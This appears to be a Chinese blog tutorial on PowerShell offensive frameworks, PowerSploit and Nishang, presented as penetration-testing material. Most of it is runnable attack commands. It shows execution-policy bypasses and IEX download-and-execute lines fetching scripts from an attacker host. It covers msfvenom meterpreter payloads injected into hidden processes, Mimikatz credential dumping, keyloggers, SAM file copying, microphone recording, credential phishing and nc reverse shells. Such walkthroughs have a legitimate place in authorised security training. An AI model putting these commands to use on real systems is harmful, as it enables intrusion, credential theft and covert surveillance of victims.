powershell渗透框架

Powershell简介

1.什么是 Windows PowerShell ?

• Windows PowerShell 是 Microsoft 创建的基于任务的自动化命令行Shell和相关脚本语言(ps1),基 于 .NET 框架。
• 是Microsoft的新Shell,它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集 结合在一起。
用于控制和自动化管理Windows操作系统和运行在操作系统上的应用。
• 被广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避 Anti-Virus 检 测。
• Windows PowerShell 中的命令称为 cmdlet ,发音为“ command-lets ”,其中每个 cmdlet 代表 特定的功能或基于任务的脚本。
Powershell 默认安装在Win7及以后的系统上。
操作系统信任
提供Windows操作系统的几乎一切访问权限
• Windows PowerShell 集成脚本环境(ISE)

脚本执行策略

在计算机系统中启动PowerShell时,默认执行策略不允许我们执行或运行脚本。
查看当前执行策略 : Get-ExecutionPolicy

获取影响当前会话的所有执行策略,并按优先顺序显示它们 : Set-ExecutionPolicy Unrestricted

PowerShell中可以设置以下类型的执行策略:

名称说明
AllSignedAllSigned 允许执行所有具有数字签名的脚本。
Bypass不阻止任何操作,并且没有任何警告或提示。
Default设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器 远程签名。
RemoteSigned允许执行具有数字签名的通过网络下载的脚本;本地创建的脚本不要求脚本具 有数字签名,可以直接执行。
Restricted受限制的,可以执行单个的命令,但不能执行脚本,执行就会报错,Windows 8,Windows 8.1,Windows Server 2012中默认策略。
UndefinedUndefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。
Unrestricted允许运行未签名的脚本。从网络上下载的脚本,在运行前会进行安全性提示。 需要确认是否执行脚本。
绕过执行策略

如果本身被限制无法读取文件内容,就使用本地读取然后通过管道符运行

powershell get-content a.ps1 | powershell -noprofile -

在这里插入图片描述

在自己的远程主机上创建ps1的文件,然后目标机器远程下载并通过IEX运行脚本

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a.ps1')"

在这里插入图片描述

Bypass执行策略绕过

powershell -executionpolicy bypass -File ./a.ps1

在这里插入图片描述

Unrestricted执行策略

powershell -executionpolicy unrestricted -File ./a.ps1

在这里插入图片描述

常用Cmdlet命令

• 查看 powershell 版本

$PSVersionTable 
Get-Host

• 查看当前环境变量

Get-ChildItem env: 
gci 
ls 
dir

• 启动指定程序

Start-Process calc.exe

saps 
start

• 获取指定进程信息

Get-Process 

explorer 
gps
ps

• 获取文件信息

Get-Item 1.txt
gi

• 复制文件

Copy-Item 1.txt 2.txt 
cpi 
cp 
copy

• 移动文件

Move-Item 1.txt 2.txt 
mi 
mv 
move

• 获取指定服务信息

Get-Service -Name Everything

Powershell渗透框架使用

PowerSploit

版本老,用起来会有兼容性问题,低版本老的情况就可以用,要用的话就要去下载,kali中也有,路径是: /usr/share/windows-resources/powersploit/CodeExecution

https://github.com/PowerShellMafia/PowerSploit.git

代码执行(CodeExecution) : Invoke-Shellcode

将shellcode注入在本地PowerShell中

1.直接执行shellcode

//生成Shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.42.132 LPORT=4444 -f powershell -o test

//加载powershell脚本(要在kali中的目录开启http服务提供下载)
IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-Shellcode.ps1")

//加载shellcode
Invoke-Shellcode -Shellcode @($buf) -Force

在这里插入图片描述

查看Msf生成的脚本文件,获取到里面的数组的东西。

在这里插入图片描述

执行前先进行msf的监听,成功得到会话

在这里插入图片描述

在这里插入图片描述

将shellcode注入在指定进程(稳定)

先隐秘开一个进程,然后查看它的进程ID,再进行注入的操作,最后Msf开启监听,然后会得到shell

start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden 
Get-Process notepad 

IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-Shellcode.ps1")
Invoke-Shellcode -ProcessID 25612 -Shellcode ($buf) -Force

在这里插入图片描述

在这里插入图片描述

Invoke-DllInjection

注意:将Dll注入到指定进程ID中,dll架构要与目标进程相符,对某些进程的注入需要一定的权限 利用 Powersploit 将dll文件注入到当前进程中,但是dll文件必须在目标主机上

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.81.134 LPORT=4567 -f dll -o test.dll 
IEX (New-Object Net.WebClient).DownloadString("http://192.168.157.139/PowerSploit/CodeExecution/ Invoke-DllInjection.ps1") 
start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
get-process notepad 
Invoke-DllInjection -ProcessID 2008 -Dll test.dll

在这里插入图片描述

在这里插入图片描述

Invoke-ReflectivePElnjection

将Windows PE文件(DLL/EXE)反射性地加载到powershell进程中,或反射性地将DLL注入到远程进程中(改成http那些也行)

msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.81.134 lport=4567 -f exe -o msf.exe 

#把在kali中生成的exe木马复制到靶机 
$PEBytes = [IO.File]::ReadAllBytes('D:\msf.exe') 

IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-ReflectivePEInjection.ps1") 
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

在这里插入图片描述

在这里插入图片描述

Invoke-Mimikatz

使用PowerShell将Mimikatz 2.0反射式加载到内存中。可用于转储凭据,而无需将任何内容写入磁盘。 可以用于Mimikatz的任何功能。
执行mimikatz需要管理员权限

IEX (New-Object Net.WebClient).DownloadString("http://192.168.42.132:8000/Invoke-Mimikatz.ps1") 
Invoke-Mimikatz -DumpCreds

在这里插入图片描述

其他的选项

Get-Keystrokes 键盘记录,记录按键,时间和活动窗口。

# 运行Get-Keystrokes, 并把记录结果保存到一个文件
Get-Keystrokes -LogPath D:\test1.txt

Invoke-NinjaCopy 通过读取原始卷并解析NTFS结构,从NTFS分区卷中复制文件。(需要管理员权限,可以复制受保护的 运行中的系统文件)

IEX(New-Object Net.WebClient).DownloadString("http://192.168.157.139/PowerSploit/Exfiltration/I nvoke-NinjaCopy.ps1") 

# 把SAM文件复制一份到指定位置 
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "D:\SAM"

Get-MicrophoneAudio 过麦克风记录声音,记录来自系统麦克风的音频并保存到磁盘,与Get-TimedScreenshot(屏幕记录)方 法一样

IEX(New-Object Net.WebClient).DownloadString("http://192.168.157.139/PowerSploit/Exfiltration/G et-MicrophoneAudio.ps1") 
Get-MicrophoneAudio
Nishang(较新)
Nishang简介

Nishang 是一个基于 PowerShell 攻击脚本和有效载荷的框架和集合,支持使用 PowerShell 进行攻 击性安全、渗透测试和红队合作,集成了框架、脚本和各种payload(包括下载、执行、后门、扫描、 执行、解密、键盘记录等脚本),被广泛用于渗透测试的各个阶段。

https://github.com/samratashok/nishang

注意:使用 Nishang 在 PowerShell3.0 及以上的环境中才能正常使用

#以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中
Import-Module -verbose .\nishang.psm1

#查看nishang所有功能模块
Get-Command -Module nishang

get-hlep 模块 -full
信息收集

Get-Information 从目标机上获取有价值的信息,可以获取计算机上的大量信息,例如FTP访问、进程、计算机配置信 息、无线网络和设备的信息、hosts信息等
Get-PassHashes 从目标机上获取密码Hash Get-PassHints 获取用户的密码提示信息
Check-VM 用于检测当前的机器是否是一台已知的虚拟机

Copy-VSS 使用卷影拷贝服务来复制SAM文件
执行Copy-VSS会将SAM文件保存在当前路径下
执行 Copy-VSS -DestinationDir C:\TEMP 指定保存文件的路径(必须是已经存在的路径)

Invoke-CredentialsPhish 用来欺骗用户输入账号密码信息

Keylogger 保存用户的键盘记录,保存后的文本为key.log(在 C:\Users\Administrator\AppData\Local\Temp 目录下)
接着使用 Nishang Utility 中的 Parse_Keys 来解析 key.log 文件,解析后的文件就存放着键盘记录 操作

Parse_Keys .\key.log .\su.txt

Invoke-Mimikatz 在内存中加载Mimikatz
Get-WLAN-Keys 从目标机上获取纯文本的WLAN密钥

交互式shell

参数介绍

-IPAddress 反向连接时需要连接到的IP地址 
-Port 反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口 
-Reverse 反向连接 -Bind 正向连接用到的端口监听

Invoke-PowerShellTcp: 基于TCP协议的交互式shell

正向连接

攻击机:nc -nv 192.168.81.131 5000 
-n 直接使用IP地址,而不通过域名服务器 
-v 显示指令执行过程 
目标机:Invoke-PowerShellTcp -Bind -Port 5000

在这里插入图片描述

反向连接

攻击机:nc -lvp 5000 
目标机:Invoke-PowerShellTcp -Reverse -IPAddress 攻击机 -Port 5000

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值